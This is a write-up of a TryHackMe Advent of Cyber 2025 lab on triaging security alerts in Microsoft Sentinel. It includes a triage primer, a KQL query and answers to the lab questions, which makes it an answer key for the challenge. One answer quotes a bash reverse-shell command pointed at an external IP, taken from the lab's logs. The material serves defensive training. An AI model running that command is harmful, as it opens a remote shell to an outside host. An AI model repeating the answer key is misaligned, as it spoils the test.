CHALLENGE INFORMATION

AOC25 - Day-10 LogoPlatform: TryHackMe
Event: Advent of Cyber 2025
Day: 10
Title: SOC Alert Triaging - Tinsel Triage

Description

Investigate and triage alerts through Microsoft Sentinel.

Summary

We begin Day 10 with a primer on alert triaging, followed by an introduction to our Microsoft Sentinel instance. We then examine and analyze various incidents before conducting a deep dive into log analysis, where we correlate events to understand what transpired.

AOC25 - Day-10 Hero

Storyline

The Best Festival Company’s Security Operations Center is overwhelmed by a surge of alerts across their cloud environment. The elves suspect the evil Easter Bunnies are behind the attack, but the source and motive remain unclear.

Preparation

Use one of the provided access credentials (username:temporary-access-pass) to log in to the Microsoft Azure Portal where the remaining tasks take place.

Sadly, none of them worked for us, so we will make an exception here (against THM Write-Up Policy), and provide both passwords and flags for the solutions so that people interested in completing AoC 2025 can do so.

Alert Triaging Primer

Alert triaging is a critical process that helps security teams prioritize alerts efficiently rather than investigating each one equally.

Not all alerts indicate genuine threats; some are noise or false positives, so teams need a structured approach to determine which deserve immediate attention.

The Four Key Factors for Triaging

When assessing alerts, analysts should evaluate four factors: severity, time, context, and impact.

Severity

  • Severity Level
  • Rating from Informational to Critical
  • Indicates urgency and potential business risk

Time

  • Timestamp and Frequency
  • When the alert triggered and related activity patterns
  • Identifies ongoing attacks or repeated behavior

Context

  • Attack Stage
  • Where in the attack lifecycle (reconnaissance, persistence, exfiltration)
  • Shows how far the attacker has progressed

Impact

  • Affected Asset
  • Which system, user, or resource is involved
  • Prioritizes response based on operational importance

These four dimensions – how bad, when, where in the attack lifecycle, and who or what is affected – provide a balanced foundation for quick, informed triage decisions.

Next Steps After Triage

Once we have identified alerts worth investigating, we follow a structured investigation process:

  1. Examine the alert details;
  2. Check related logs;
  3. Correlate with other alerts involving the same user or device;
  4. Build a timeline of events;
  5. Decide whether to escalate to incident response, investigate further, or close as a false positive;
  6. Document findings and lessons learned.

Environment Review

To render the logs for the lab environment, follow these steps:

  • Search for ‘Microsoft Sentinel’ > Logs tab > Custom Logs > Syslog_CL (runs a preview query) > Run.

Investigation Proper

To view the incidents during the current timeframe:

  • Select your dedicated Sentinel instance > Threat Management dropdown > Incidents tab
  • If not shown > refresh page > Set custom date range for the incidents (2025-10-29 12:00:00 to 2025-12-13 12:00:00)

Questions and Answers

Question-1: How many entities are affected by the Linux PrivEsc - Polkit Exploit Attempt alert?

10

Question-2: What is the severity of the Linux PrivEsc - Sudo Shadow Access alert?

High

Question-3: How many accounts were added to the sudoers group in the Linux PrivEsc - User Added to Sudo Group alert?

4

Diving Deeper Into Logs

To obtain more information:

  • Select Alert’s full details view > Evidence section > Events > Logs.

To change the view to an editable KQL query:

  • Press the Simple mode dropdown > Select KQL mode.

Events Triggered by app-02

set query_now = datetime(2025-10-30T05:09:25.9886229Z);
Syslog_CL
| where host_s == 'app-02'
| project _timestamp_t, host_s, Message

Questions and Answers

Question-1: What is the name of the kernel module installed in websrv-01?

malicious_mod.ko

Question-2: What is the unusual command executed within websrv-01 by the ops user?

/bin/bash -i >& /dev/tcp/198.51.100.22/4444 0>&1

Question-3: What is the source IP address of the first successful SSH login to storage-01?

172.16.0.12

Question-4: What is the external source IP that successfully logged in as root to app-01?

203.0.113.45

Question-5: Aside from the backup user, what is the name of the user added to the sudoers group inside app-01?

deploy